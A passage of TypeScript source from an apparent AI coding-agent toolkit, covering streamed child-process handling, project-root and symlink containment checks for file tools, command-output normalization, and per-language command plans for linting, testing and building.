(waiter) {\n const w = waiter;\n waiter = undefined;\n w();\n }\n };\n\n // Resume the stream when there's room in the queue\n const resume = () => {\n if (paused && queue.length < maxQueue) {\n paused = false;\n child.stdout?.resume();\n child.stderr?.resume();\n }\n };\n\n // Note: chunks may still arrive briefly after pause() (already in flight) \u2014\n // they are accumulated and queued rather than dropped, so the queue can\n // overshoot maxQueue by a few entries but no output is silently lost.\n // Named handlers so the teardown in `finally` can detach them.\n const onOut = (c: Buffer) => {\n const s = c.toString();\n stdoutBytes += c.byteLength;\n emitProcessOutput({ pid, stream: 'stdout', chunk: c });\n if (stdout.length < max) stdout += s;\n spool.write(s);\n queue.push({ kind: 'out', data: s });\n wake();\n // Apply backpressure if queue is growing faster than we consume\n if (!paused && queue.length >= maxQueue) {\n paused = true;\n child.stdout?.pause();\n child.stderr?.pause();\n }\n };\n const onErr = (c: Buffer) => {\n const s = c.toString();\n stderrBytes += c.byteLength;\n emitProcessOutput({ pid, stream: 'stderr', chunk: c });\n if (stderr.length < max) stderr += s;\n spool.write(s);\n queue.push({ kind: 'err', data: s });\n wake();\n if (!paused && queue.length >= maxQueue) {\n paused = true;\n child.stdout?.pause();\n child.stderr?.pause();\n }\n };\n child.stdout?.on('data', onOut);\n child.stderr?.on('data', onErr);\n child.on('error', (e) => {\n error = e.message;\n queue.push({ kind: 'error', data: e.message });\n wake();\n });\n const completeTelemetry = (code: number, signal?: string | undefined, timedOut = false) => {\n if (telemetryCompleted) return;\n telemetryCompleted = true;\n emitProcessCompleted({\n ...(pid !== undefined ? { pid } : {}),\n exitCode: code,\n ...(signal ? { signal } : {}),\n durationMs: Date.now() - processStartedAt,\n stdoutBytes,\n stderrBytes,\n timedOut,\n endedAt: new Date().toISOString(),\n });\n };\n child.on('close', (code, signal) => {\n if (typeof pid === 'number') registry.unregister(pid);\n const exitCode = code ?? (signal ? 1 : 0);\n completeTelemetry(exitCode, signal ?? undefined);\n queue.push({ kind: 'close', data: '', code: exitCode, ...(signal ? { signal } : {}) });\n wake();\n });\n\n // Abort: tree-kill the child and wake the consumer loop with a synthetic\n // close (exit code 124, matching exec.ts's timeout convention). Without\n // the sentinel the loop can park forever on `waiter` when the pipes are\n // paused (queue full) or a win32 orphan holds them open \u2014 the executor's\n // iter.return() then never completes, the tool call hangs for the rest of\n // the session and retains the queue (up to maxQueue chunks) on the heap.\n //\n // Only on Windows: on POSIX the signal is already passed to spawn() above\n // (line 72) so Node.js handles the kill via the signal; attaching a second\n // handler here would double-kill the child and leak the listener when the\n // generator exits without aborting.\n const onAbort = () => {\n if (typeof pid === 'number') {\n registry.kill(pid, { force: true });\n } else {\n try {\n child.kill('SIGKILL');\n } catch {\n /* already gone */\n }\n }\n queue.push({ kind: 'close', data: '', code: 124 });\n completeTelemetry(124, 'SIGKILL', true);\n wake();\n };\n if (isWin) {\n if (opts.signal.aborted) onAbort();\n else opts.signal.addEventListener('abort', onAbort, { once: true });\n }\n\n let exitCode = 0;\n let spawnFailed = false;\n try {\n for (;;) {\n while (queue.length === 0) {\n await new Promise<void>((resolve) => {\n waiter = resolve;\n });\n }\n const chunk = queue.shift()!;\n // Resume reading after consuming a chunk\n resume();\n if (chunk.kind === 'close') {\n // If we already saw a spawn error (ENOENT etc.), keep exitCode=1\n // rather than the negative platform code Node fabricates.\n if (!spawnFailed) exitCode = chunk.code ?? 0;\n break;\n }\n if (chunk.kind === 'error') {\n spawnFailed = true;\n exitCode = 1;\n // close usually follows\n continue;\n }\n pending += chunk.data;\n if (pending.length >= flushAt) {\n yield { type: 'partial_output', text: pending };\n pending = '';\n }\n }\n if (pending.length > 0) {\n yield { type: 'partial_output', text: pending };\n }\n\n const spooled = spool.finalize();\n return {\n // The marker rides on stdout's tail so every consumer's head+tail\n // normalization keeps it without per-tool changes.\n stdout: spooled ? stdout + spoolNote(spooled) : stdout,\n stderr,\n exitCode,\n truncated: stdout.length >= max || stderr.length >= max,\n error,\n spoolPath: spooled?.path,\n spoolBytes: spooled?.bytes,\n };\n } finally {\n // Teardown \u2014 this generator can be abandoned mid-stream (executor\n // timeout/abort, or the consumer erroring out of its for-await loop).\n // The data handlers would otherwise stay attached and keep queueing\n // output with no consumer (bounded only by the pause cap), and a\n // surviving child would keep the closures \u2014 queue, output buffers,\n // child handle \u2014 alive until OOM. Detach the handlers, destroy the\n // pipes, and make sure nothing is left running.\n spool.finalize(); // idempotent \u2014 closes the file if the stream was abandoned\n if (isWin) opts.signal.removeEventListener('abort', onAbort);\n child.stdout?.off('data', onOut);\n child.stderr?.off('data', onErr);\n child.stdout?.destroy();\n child.stderr?.destroy();\n if (child.exitCode === null && !child.killed) {\n if (typeof pid === 'number') {\n registry.kill(pid, { force: true });\n } else {\n try {\n child.kill('SIGKILL');\n } catch {\n /* already gone */\n }\n }\n }\n }\n}\n", "import { createHash } from 'node:crypto';\nimport * as fsp from 'node:fs/promises';\nimport * as path from 'node:path';\nimport * as Core from '@wrongstack/core/utils';\nimport type { Context } from '@wrongstack/core/agent';\n\n/**\n * sha-256 hex of a UTF-8 string. Used by the file tools to record a content\n * hash alongside the mtime in `ctx.recordRead` \u2014 the hash is the authoritative\n * staleness arbiter for `edit` (mtime has a 2 s tolerance window on Windows).\n */\nexport function sha256hex(content: string): string {\n return createHash('sha256').update(content, 'utf8').digest('hex');\n}\n/** Detected package manager for a project directory. */\nexport type PackageManager = 'pnpm' | 'yarn' | 'npm';\n\n/**\n * Detect the project's package manager by inspecting lockfiles in `cwd`.\n * Order: pnpm \u2192 yarn \u2192 npm (default). Missing or unreadable directories fall\n * back to `npm` rather than throwing, so a `safeResolve`-checked cwd that\n * happens to be empty never aborts the tool.\n */\nexport async function detectPackageManager(cwd: string): Promise<PackageManager> {\n const { stat } = await import('node:fs/promises');\n try {\n await stat(`${cwd}/pnpm-lock.yaml`);\n return 'pnpm';\n } catch {\n /* not pnpm */\n }\n try {\n await stat(`${cwd}/yarn.lock`);\n return 'yarn';\n } catch {\n /* not yarn */\n }\n return 'npm';\n}\n\nexport function resolvePath(input: string, ctx: Context): string {\n return path.isAbsolute(input) ? path.normalize(input) : path.resolve(ctx.workingDir ?? ctx.cwd, input);\n}\n\n/**\n * Roots every file tool may always reach, even in restricted mode: the\n * project root and the user-global `~/.wrongstack` directory (config, memory,\n * sessions, skills). `~/.wrongstack` honors the `WRONGSTACK_HOME` override.\n */\nfunction allowedRoots(ctx: Context): string[] {\n return [path.resolve(ctx.projectRoot), path.resolve(Core.wstackGlobalRoot())];\n}\n\n/** True if `target` is `root` itself or nested inside any of `roots`. */\nfunction isInsideAny(target: string, roots: string[]): boolean {\n return roots.some((root) => {\n const rel = path.relative(root, target);\n return rel === '' || (!rel.startsWith('..') && !path.isAbsolute(rel));\n });\n}\n\nexport function ensureInsideRoot(absPath: string, ctx: Context): string {\n const target = path.resolve(absPath);\n // Unrestricted filesystem access: skip the project-root containment check.\n if (ctx.allowOutsideProjectRoot) return target;\n if (isInsideAny(target, allowedRoots(ctx))) return target;\n throw new Error(`Path \"${absPath}\" is outside project root \"${path.resolve(ctx.projectRoot)}\"`);\n}\n\nexport function safeResolve(input: string, ctx: Context): string {\n return ensureInsideRoot(resolvePath(input, ctx), ctx);\n}\n\n/**\n * Defense against in-root\u2192out-of-root symlink escape (CWE-59). `safeResolve`\n * only does a syntactic `../` check, so a symlink that lives *inside* the\n * project root but points outside still passes it. This resolves the path\n * through `fs.realpath` and re-verifies containment against the realpath of\n * the project root (comparing like-for-like, since the root itself may be a\n * symlink \u2014 macOS `/var`\u2192`/private/var`, Windows 8.3 short names). For a path\n * that does not exist yet (e.g. a `write` to a new file) the nearest existing\n * ancestor directory is checked instead. Throws if the real target escapes.\n *\n * Mirrors the per-file guard already used in `replace.ts`/`grep.ts`; applied\n * to single-file `read`/`edit`/`write` it throws (rather than skips) because\n * the caller named exactly one file.\n */\nexport async function assertRealInsideRoot(absPath: string, ctx: Context): Promise<void> {\n // Unrestricted filesystem access: no symlink-escape check to perform.\n if (ctx.allowOutsideProjectRoot) return;\n // Compare like-for-like against the realpath of each always-allowed root\n // (project root + ~/.wrongstack), since a root may itself be a symlink.\n const realRoots = await Promise.all(\n allowedRoots(ctx).map((r) => fsp.realpath(r).catch(() => path.resolve(r))),\n );\n let probe = absPath;\n for (;;) {\n let real: string;\n try {\n real = await fsp.realpath(probe);\n } catch (err) {\n if ((err as NodeJS.ErrnoException).code === 'ENOENT') {\n const parent = path.dirname(probe);\n if (parent === probe) return; // reached fs root without escaping\n probe = parent;\n continue;\n }\n throw err;\n }\n if (isInsideAny(real, realRoots)) return;\n throw new Error(\n `Path \"${absPath}\" resolves through a symlink outside project root \"${realRoots[0]}\"`,\n );\n }\n}\n\n/** `safeResolve` + symlink realpath containment check. Async. */\nexport async function safeResolveReal(input: string, ctx: Context): Promise<string> {\n const abs = safeResolve(input, ctx);\n await assertRealInsideRoot(abs, ctx);\n return abs;\n}\n\nexport function truncateMiddle(s: string, max: number): string {\n if (Buffer.byteLength(s, 'utf8') <= max) return s;\n const half = Math.floor(max / 2);\n return (\n s.slice(0, half) +\n `\\n\u2026[truncated ${Buffer.byteLength(s, 'utf8') - max} bytes from middle]\u2026\\n` +\n s.slice(-half)\n );\n}\n\nexport function isBinaryBuffer(buf: Buffer): boolean {\n const len = Math.min(buf.length, 8192);\n for (let i = 0; i < len; i++) {\n if (buf[i] === 0) return true;\n }\n return false;\n}\n\n// \u2500\u2500\u2500 Command-output normalization (token-saving) \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n//\n// Raw process output is full of tokens the model gains nothing from: ANSI\n// escapes, carriage-return progress spam, runs of identical warning lines, and\n// huge tails of build noise. These helpers strip that noise before the output\n// reaches the LLM. They are scoped to COMMAND tools (bash/git/exec and the\n// _spawn-stream consumers) \u2014 never applied to structured/code outputs.\n\n/** Unified byte cap for all command tool output fed to the model. */\nexport const COMMAND_OUTPUT_MAX_BYTES = 32_768;\n\n/** Runs of >= this many identical consecutive lines are collapsed. */\nconst REPEAT_RUN_THRESHOLD = 3;\n\n/**\n * Collapse carriage-return overwrites the way a terminal would: `\\r\\n` becomes\n * `\\n`, and a bare `\\r` (progress redraw) keeps only the text after the LAST\n * `\\r` on its physical line. Without this, a single progress bar that redraws\n * 200 times explodes into 200 lines.\n */\nexport function collapseCarriageReturns(text: string): string {\n const lf = text.replace(/\\r\\n/g, '\\n');\n if (!lf.includes('\\r')) return lf;\n return lf\n .split('\\n')\n .map((line) => (line.includes('\\r') ? line.slice(line.lastIndexOf('\\r') + 1) : line))\n .join('\\n');\n}\n\n/**\n * Collapse a run of `minRun`+ identical consecutive lines into the line once\n * plus a marker. Consecutive-only \u2014 it never reorders or dedups non-adjacent\n * lines, so diffs/source stay intact.\n */\nexport function collapseConsecutiveDuplicates(text: string, minRun = REPEAT_RUN_THRESHOLD): string {\n const lines = text.split('\\n');\n const out: string[] = [];\n let i = 0;\n while (i < lines.length) {\n let j = i + 1;\n while (j < lines.length && lines[j] === lines[i]) j++;\n const run = j - i;\n if (run >= minRun) {\n out.push(lines[i]!, `\u2026 \u27E8repeated ${run}\u00D7\u27E9`);\n } else {\n for (let k = i; k < j; k++) out.push(lines[k]!);\n }\n i = j;\n }\n return out.join('\\n');\n}\n\n/** Largest prefix of `s` whose UTF-8 byte length is <= `maxBytes`. */\nfunction takeHeadBytes(s: string, maxBytes: number): string {\n if (maxBytes <= 0) return '';\n /* v8 ignore next -- only caller (truncateHeadTail) passes a budget smaller than s; defensive. */\n if (Buffer.byteLength(s, 'utf8') <= maxBytes) return s;\n let lo = 0;\n let hi = s.length;\n while (lo < hi) {\n const mid = Math.ceil((lo + hi) / 2);\n if (Buffer.byteLength(s.slice(0, mid), 'utf8') <= maxBytes) lo = mid;\n else hi = mid - 1;\n }\n return s.slice(0, lo);\n}\n\n/** Largest suffix of `s` whose UTF-8 byte length is <= `maxBytes`. */\nfunction takeTailBytes(s: string, maxBytes: number): string {\n if (maxBytes <= 0) return '';\n /* v8 ignore next -- only caller (truncateHeadTail) passes a budget smaller than s; defensive. */\n if (Buffer.byteLength(s, 'utf8') <= maxBytes) return s;\n let lo = 0;\n let hi = s.length;\n while (lo < hi) {\n const mid = Math.ceil((lo + hi) / 2);\n if (Buffer.byteLength(s.slice(s.length - mid), 'utf8') <= maxBytes) lo = mid;\n else hi = mid - 1;\n }\n return s.slice(s.length - lo);\n}\n\n/**\n * Truncate to `maxBytes` keeping BOTH ends \u2014 the head (what ran / early context)\n * and the tail (errors and summaries usually land last), biased ~45/55 toward\n * the tail. The result never exceeds `maxBytes`.\n */\nexport function truncateHeadTail(s: string, maxBytes: number): string {\n const total = Buffer.byteLength(s, 'utf8');\n if (total <= maxBytes) return s;\n // Reserve a fixed allowance for the marker so the final string can't exceed\n // the cap even though the dropped-byte count's digit width varies.\n const MARKER_RESERVE = 64;\n const avail = Math.max(0, maxBytes - MARKER_RESERVE);\n const headBudget = Math.floor(avail * 0.45);\n const head = takeHeadBytes(s, headBudget);\n const tail = takeTailBytes(s, avail - Buffer.byteLength(head, 'utf8'));\n const kept = Buffer.byteLength(head, 'utf8') + Buffer.byteLength(tail, 'utf8');\n return `${head}\\n\u2026[truncated ${total - kept} bytes]\u2026\\n${tail}`;\n}\n\n/**\n * Full token-saving pipeline for command tool output: strip ANSI \u2192 collapse\n * carriage-return progress \u2192 trim trailing whitespace \u2192 collapse identical\n * consecutive lines \u2192 squeeze blank-line runs \u2192 head+tail truncate to the cap.\n */\nexport function normalizeCommandOutput(\n raw: string,\n opts: { maxBytes?: number | undefined } = {},\n): string {\n if (!raw) return raw;\n let text = Core.stripAnsi(raw);\n text = collapseCarriageReturns(text);\n text = text.replace(/[ \\t]+$/gm, ''); // trailing whitespace per line\n text = collapseConsecutiveDuplicates(text);\n text = text.replace(/\\n{3,}/g, '\\n\\n'); // >=2 blank lines \u2192 1\n return truncateHeadTail(text, opts.maxBytes ?? COMMAND_OUTPUT_MAX_BYTES);\n}\n", "import type {\n CommandPlan,\n LanguageOperation,\n LanguageProfileId,\n OperationPlanResult,\n ProfileContext,\n} from './types.js';\n\nconst DEFAULT_TIMEOUT_MS = 120_000;\nconst DEFAULT_OUTPUT_LIMIT_BYTES = 200_000;\n\nexport function processPlan(\n ctx: ProfileContext,\n operation: LanguageOperation,\n command: string,\n args: readonly string[],\n options: {\n parser: string;\n reason: string;\n timeoutMs?: number | undefined;\n mutating?: boolean | undefined;\n network?: boolean | undefined;\n executesProjectCode?: boolean | undefined;\n },\n): CommandPlan {\n return {\n profileId: ctx.workspace.language,\n workspaceId: ctx.workspace.id,\n operation,\n kind: 'process',\n command,\n args: Object.freeze([...args]),\n cwd: ctx.workspace.root,\n env: Object.freeze({}),\n timeoutMs: options.timeoutMs ?? DEFAULT_TIMEOUT_MS,\n outputLimitBytes: DEFAULT_OUTPUT_LIMIT_BYTES,\n mutating: options.mutating ?? false,\n network: options.network ?? false,\n executesProjectCode: options.executesProjectCode ?? false,\n reason: options.reason,\n evidence: ctx.workspace.evidence,\n parser: options.parser,\n };\n}\n\nexport function internalPlan(\n ctx: ProfileContext,\n operation: LanguageOperation,\n parser: string,\n reason: string,\n): CommandPlan {\n return {\n profileId: ctx.workspace.language,\n workspaceId: ctx.workspace.id,\n operation,\n kind: 'internal',\n command: null,\n args: Object.freeze([]),\n cwd: ctx.workspace.root,\n env: Object.freeze({}),\n timeoutMs: 5_000,\n outputLimitBytes: 32_768,\n mutating: false,\n network: false,\n executesProjectCode: false,\n reason,\n evidence: ctx.workspace.evidence,\n parser,\n };\n}\n\nexport function unavailable(\n ctx: ProfileContext,\n operation: LanguageOperation,\n reason: string,\n): OperationPlanResult {\n return {\n status: 'unavailable',\n profileId: ctx.workspace.language,\n workspaceId: ctx.workspace.id,\n operation,\n reason,\n };\n}\n\nexport function packageNames(ctx: ProfileContext): readonly string[] {\n return ctx.options.packages ?? [];\n}\n\nexport function profileId(value: LanguageProfileId): LanguageProfileId {\n return value;\n}\n", "import { packageNames, processPlan, unavailable } from '../profile-helpers.js';\nimport type { LanguageProfile, ProfileContext } from '../types.js';\n\nconst IGNORES = Object.freeze([\n '.git',\n '.wrongstack',\n 'node_modules',\n 'vendor',\n 'dist',\n 'build',\n 'coverage',\n]);\n\nfunction pythonProfile(): LanguageProfile {\n return {\n id: 'python',\n displayName: 'Python',\n extensions: Object.freeze(['.py', '.pyi']),\n lspLanguageIds: Object.freeze(['python']),\n detectors: Object.freeze([\n { kind: 'config', filename: 'pyproject.toml', weight: 90 },\n { kind: 'config', filename: 'setup.py', weight: 70 },\n { kind: 'config', filename: 'setup.cfg', weight: 60 },\n { kind: 'manifest', filename: 'requirements.txt', weight: 55 },\n { kind: 'manifest', filename: 'Pipfile', weight: 50 },\n { kind: 'lockfile', filename: 'poetry.lock', weight: 30 },\n { kind: 'lockfile', filename: 'Pipfile.lock', weight: 30 },\n { kind: 'lockfile', filename: 'uv.lock', weight: 30 },\n ]),\n ignoredDirectories: IGNORES,\n packageManagers: Object.freeze(['pip', 'poetry', 'pipenv', 'uv']),\n executables: Object.freeze([\n 'python',\n 'python3',\n 'pip',\n 'pip3',\n 'poetry',\n 'pipenv',\n 'uv',\n 'ruff',\n 'black',\n 'pytest',\n 'mypy',\n 'pyright',\n ]),\n operations: Object.freeze({\n syntax: async (ctx) => {\n const py = ctx.options.target ? 'python3' : 'python3';\n return ctx.options.target\n ? processPlan(ctx, 'syntax', py, ['-m', 'py_compile', ctx.options.target], {\n parser: 'python',\n reason: 'Compile the target file to check for syntax errors.',\n })\n : unavailable(ctx, 'syntax', 'Python syntax check requires an explicit target file.');\n },\n semantic: async (ctx) =>\n processPlan(ctx, 'semantic', 'mypy', ['.', '--no-error-summary'], {\n parser: 'mypy',\n reason: 'Run mypy type checking on the workspace.',\n executesProjectCode: true,\n }),\n lint: async (ctx) =>\n processPlan(ctx, 'lint', 'ruff', ['check', '.'], {\n parser: 'ruff',\n reason: 'Run the Ruff linter on the workspace.',\n }),\n 'format-check': async (ctx) =>\n processPlan(ctx, 'format-check', 'ruff', ['format', '--check', '.'], {\n parser: 'ruff',\n reason: 'Check Python formatting without writing files.',\n }),\n 'format-write': async (ctx) =>\n processPlan(ctx, 'format-write', 'ruff', ['format', '.'], {\n parser: 'ruff',\n reason: 'Format Python source files.',\n mutating: true,\n }),\n test: async (ctx) =>\n processPlan(\n ctx,\n 'test',\n 'pytest',\n [...(ctx.options.filter ? ['-k', ctx.options.filter] : []), '.'],\n {\n parser: 'pytest',\n reason: ctx.options.filter ? 'Run filtered Python tests.' : 'Run all Python tests.',\n mutating: true,\n executesProjectCode: true,\n },\n ),\n build: async (ctx) =>\n unavailable(ctx, 'build', 'Python is interpreted; use semantic or test instead.'),\n 'debug-compile': async (ctx) =>\n processPlan(ctx, 'debug-compile', 'mypy', ['.', '--no-error-summary'], {\n parser: 'mypy',\n reason: 'Collect mypy type diagnostics.',\n executesProjectCode: true,\n }),\n 'package-install': async (ctx) =>\n processPlan(ctx, 'package-install', 'pip', ['install', '--no-cache-dir'], {\n parser: 'package-text',\n reason: 'Install dependencies from requirements.',\n mutating: true,\n network: true,\n }),\n 'package-add': async (ctx) => {\n const names = packageNames(ctx);\n return names.length === 0\n ? unavailable(ctx, 'package-add', 'At least one package name is required.')\n : processPlan(ctx, 'package-add', 'pip', ['install', ...names], {\n parser: 'package-text',\n reason: 'Install specified Python packages.',\n mutating: true,\n network: true,\n });\n },\n 'package-remove': async (ctx) => {\n const names = packageNames(ctx);\n return names.length === 0\n ? unavailable(ctx, 'package-remove', 'At least one package name is required.')\n : processPlan(ctx, 'package-remove', 'pip', ['uninstall', '--yes', ...names], {\n parser: 'package-text',\n reason: 'Remove validated Python packages.',\n mutating: true,\n });\n },\n 'package-audit': async (ctx) =>\n processPlan(ctx, 'package-audit', 'pip', ['audit'], {\n parser: 'pip-audit',\n reason: 'Audit Python dependencies for vulnerabilities.',\n network: true,\n }),\n run: async (ctx) => {\n // Try common Python entry points in priority order.\n const entries = ['main.py', 'app.py', '__main__.py', 'manage.py'];\n const first: string | undefined = (\n await Promise.all(\n entries.map((name) => ctx.pathExists(name).then((ok) => (ok ? name : undefined))),\n )\n ).find(Boolean);\n const args = first ? [first] : [];\n return processPlan(ctx, 'run', 'python3', args, {\n parser: 'command-text',\n reason: first\n ? `Run the Python entry point ${first}.`\n : 'Run the Python project (no common entry point detected \u2014 add the module path manually).',\n executesProjectCode: true,\n mutating: true,\n });\n },\n }),\n };\n}\n\nfunction hasGradleEvidence(ctx: ProfileContext): boolean {\n return ctx.workspace.evidence.some(\n (e) =>\n (e.kind === 'manifest' &&\n (e.value === 'build.gradle' ||\n e.value === 'build.gradle.kts' ||\n e.value === 'settings.gradle')) ||\n (e.kind === 'lockfile' && e.value === 'gradle.lockfile'),\n );\n}\n\nasync function gradleRunner(ctx: ProfileContext): Promise<string> {\n // Check for the Gradle wrapper at the workspace root. The wrapper is the\n // conventional way to run Gradle \u2014 it pins the Gradle version and downloads\n // it automatically if missing.\n if (await ctx.pathExists('gradlew')) return 'gradlew';\n return 'gradle';\n}\n\nfunction javaProfile(): LanguageProfile {\n return {\n id: 'java',\n displayName: 'Java / Kotlin',\n extensions: Object.freeze(['.java', '.kt', '.kts', '.scala']),\n lspLanguageIds: Object.freeze(['java', 'kotlin']),\n detectors: Object.freeze([\n { kind: 'manifest', filename: 'pom.xml', weight: 90 },\n { kind: 'manifest', filename: 'build.gradle', weight: 85 },\n { kind: 'manifest', filename: 'build.gradle.kts', weight: 85 },\n { kind: 'manifest', filename: 'settings.gradle', weight: 50 },\n { kind: 'lockfile', filename: 'gradle.lockfile', weight: 30 },\n ]),\n ignoredDirectories: IGNORES,\n packageManagers: Object.freeze(['maven', 'gradle']),\n executables: Object.freeze(['mvn', 'gradle', 'gradlew', 'java', 'kotlinc']),\n operations: Object.freeze({\n semantic: async (ctx) => {\n const isGradle = hasGradleEvidence(ctx);\n const runner = isGradle ? await gradleRunner(ctx) : 'mvn';\n const args = isGradle ? ['compileJava'] : ['compile', '-q'];\n const reason = isGradle ? 'Compile the Gradle project.' : 'Compile the Maven project.';\n return processPlan(ctx, 'semantic', runner, args, {\n parser: isGradle ? 'gradle' : 'maven',\n reason,\n mutating: true,\n executesProjectCode: true,\n });\n },\n lint: async (ctx) =>\n unavailable(\n ctx,\n 'lint',\n 'Java linting requires a configured checkstyle or spotbugs plugin.',\n ),\n 'format-check': async (ctx) =>\n unavailable(\n ctx,\n 'format-check',\n 'Java formatting check requires a configured spotless or google-java-format plugin.',\n ),\n test: async (ctx) => {\n const isGradle = hasGradleEvidence(ctx);\n const runner = isGradle ? await gradleRunner(ctx) : 'mvn';\n const args = isGradle ? ['test'] : ['test', '-q'];\n const reason = isGradle ? 'Run Gradle tests.' : 'Run Maven tests.';\n return processPlan(ctx, 'test', runner, args, {\n parser: isGradle ? 'gradle' : 'maven',\n reason,\n mutating: true,\n executesProjectCode: true,\n });\n },\n build: async (ctx) => {\n const isGradle = hasGradleEvidence(ctx);\n const runner = isGradle ? await gradleRunner(ctx) : 'mvn';\n const args = isGradle ? ['build'] : ['package', '-q', '-DskipTests'];\n const reason = isGradle\n ? 'Build the Gradle project.'\n : 'Build the Maven project, skipping tests.';\n return processPlan(ctx, 'build', runner, args, {\n parser: isGradle ? 'gradle' : 'maven',\n reason,\n mutating: true,\n executesProjectCode: true,\n });\n },\n run: async (ctx) => {\n if (!hasGradleEvidence(ctx))\n return unavailable(\n ctx,\n 'run',\n 'Maven run requires exec-maven-plugin configuration. Use `mvn exec:java -q` manually.',\n );\n const runner = await gradleRunner(ctx);\n return processPlan(ctx, 'run', runner, ['run'], {\n parser: 'command-text',\n reason: `Run the Gradle project entry point via ${runner}.`,\n executesProjectCode: true,\n mutating: true,\n });\n },\n 'package-install': async (ctx) =>\n unavailable(\n ctx,\n 'package-install',\n 'JVM dependency installation happens through build or dependency:get.',\n ),\n 'package-add': async (ctx) => {\n const names = packageNames(ctx);\n return names.length === 0\n ? unavailable(ctx, 'package-add', 'At least one dependency coordinate is required.')\n : processPlan(ctx, 'package-add', 'mvn', ['dependency:get', `-Dartifact=${names[0]}`], {\n parser: 'maven',\n reason: 'Resolve and fetch a Maven dependency.',\n mutating: true,\n network: true,\n });\n },\n }),\n };\n}\n\nfunction rubyProfile(): LanguageProfile {\n return {\n id: 'ruby',\n displayName: 'Ruby',\n extensions: Object.freeze(['.rb']),\n lspLanguageIds: Object.freeze(['ruby']),\n detectors: Object.freeze([\n { kind: 'manifest', filename: 'Gemfile', weight: 90 },\n { kind: 'config', filename: '.ruby-version', weight: 40 },\n { kind: 'lockfile', filename: 'Gemfile.lock', weight: 30 },\n ]),\n ignoredDirectories: IGNORES,\n packageManagers: Object.freeze(['gem', 'bundler']),\n executables: Object.freeze(['ruby', 'gem', 'bundle', 'rubocop', 'rspec']),\n operations: Object.freeze({\n syntax: async (ctx) =>\n ctx.options.target\n ? processPlan(ctx, 'syntax', 'ruby', ['-c', ctx.options.target], {\n parser: 'ruby',\n reason: 'Check the target Ruby file for syntax errors.',\n })\n : unavailable(ctx, 'syntax', 'Ruby syntax check requires an explicit target file.'),\n lint: async (ctx) =>\n processPlan(ctx, 'lint', 'rubocop', ['--format=json'], {\n parser: 'rubocop',\n reason: 'Run RuboCop linter.',\n executesProjectCode: true,\n }),\n 'format-write': async (ctx) =>\n processPlan(ctx, 'format-write', 'rubocop', ['--auto-correct'], {\n parser: 'rubocop',\n reason: 'Auto-correct RuboCop violations.',\n mutating: true,\n executesProjectCode: true,\n }),\n test: async (ctx) =>\n processPlan(ctx, 'test', 'rspec', [], {\n parser: 'rspec',\n reason: 'Run the RSpec test suite.',\n mutating: true,\n executesProjectCode: true,\n }),\n 'package-install': async (ctx) =>\n processPlan(ctx, 'package-install', 'bundle', ['install'], {\n parser: 'package-text',\n reason: 'Install Ruby gem dependencies.',\n mutating: true,\n network: true,\n executesProjectCode: true,\n }),\n 'package-add': async (ctx) => {\n const names = packageNames(ctx);\n return names.length === 0\n ? unavailable(ctx, 'package-add', 'At least one gem name is required.')\n : processPlan(ctx, 'package-add', 'gem', ['install', ...names], {\n parser: 'package-text',\n reason: 'Install specified Ruby gems.',\n mutating: true,\n network: true,\n });\n },\n 'package-audit': async (ctx) =>\n processPlan(ctx, 'package-audit', 'bundle', ['audit', '--format=json'], {\n parser: 'bundler-audit',\n reason: 'Audit Ruby gems for vulnerabilities.',\n network: true,\n }),\n run: async (ctx) => {\n // Try common Ruby entry points in priority order.\n const entries = ['main.rb', 'app.rb', 'server.rb', 'config.ru'];\n const first: string | undefined = (\n await Promise.all(\n entries.map((name) => ctx.pathExists(name).then((ok) => (ok ? name : undefined))),\n )\n ).find(Boolean);\n const hasGemfile = await ctx.pathExists('Gemfile');\n const cmd = hasGemfile ? 'bundle' : 'ruby';\n const args = hasGemfile ? ['exec', 'ruby', first ?? ''] : [first ?? ''];\n return processPlan(ctx, 'run', cmd, args, {\n parser: 'command-text',\n reason: first\n ? `Run the Ruby entry point ${first}.`\n : 'Run the Ruby project (no common entry point detected \u2014 add the file path manually).',\n executesProjectCode: true,\n mutating: true,\n });\n },\n }),\n };\n}\n\nfunction cProfile(): LanguageProfile {\n return {\n id: 'c',\n displayName: 'C / C++',\n extensions: Object.freeze(['.c', '.h']),\n lspLanguageIds: Object.freeze(['c']),\n detectors: Object.freeze([\n { kind: 'manifest', filename: 'CMakeLists.txt', weight: 85 },\n { kind: 'manifest', filename: 'Makefile', weight: 60 },\n { kind: 'config', suffix: '.cmake', weight: 50 },\n ]),\n ignoredDirectories: IGNORES,\n packageManagers: Object.freeze([]),\n executables: Object.freeze(['cc', 'gcc', 'clang', 'cmake', 'make']),\n operations: Object.freeze({\n semantic: async (ctx) =>\n processPlan(ctx, 'semantic', 'cmake', ['--build', '.', '--target', 'all'], {\n parser: 'cmake',\n reason: 'Build C project to collect compiler diagnostics.',\n mutating: true,\n executesProjectCode: true,\n }),\n test: async (ctx) =>\n unavailable(\n ctx,\n 'test',\n 'C test execution requires a configured test runner (ctest, etc.).',\n ),\n build: async (ctx) =>\n processPlan(ctx, 'build', 'cmake', ['--build', '.'], {\n parser: 'cmake',\n reason: 'Build the C project.',\n mutating: true,\n executesProjectCode: true,\n }),\n }),\n };\n}\n\nfunction cppProfile(): LanguageProfile {\n return {\n ...cProfile(),\n id: 'cpp',\n displayName: 'C++',\n extensions: Object.freeze(['.cpp', '.cc', '.cxx', '.hpp', '.hxx']),\n lspLanguageIds: Object.freeze(['cpp']),\n detectors: Object.freeze([\n { kind: 'manifest', filename: 'CMakeLists.txt', weight: 85 },\n { kind: 'manifest', filename: 'Makefile', weight: 50 },\n ]),\n executables: Object.freeze(['c++', 'g++', 'clang++', 'cmake', 'make']),\n };\n}\n\nfunction swiftProfile(): LanguageProfile {\n return {\n id: 'swift',\n displayName: 'Swift',\n extensions: Object.freeze(['.swift']),\n lspLanguageIds: Object.freeze(['swift']),\n detectors: Object.freeze([{ kind: 'manifest', filename: 'Package.swift', weight: 90 }]),\n ignoredDirectories: IGNORES,\n packageManagers: Object.freeze(['swift']),\n executables: Object.freeze(['swift', 'swiftc']),\n operations: Object.freeze({\n semantic: async (ctx) =>\n processPlan(ctx, 'semantic', 'swift', ['build'], {\n parser: 'swift',\n reason: 'Build Swift package to collect compiler diagnostics.',\n mutating: true,\n executesProjectCode: true,\n }),\n test: async (ctx) =>\n processPlan(ctx, 'test', 'swift', ['test'], {\n parser: 'swift-test',\n reason: 'Run Swift tests.',\n mutating: true,\n executesProjectCode: 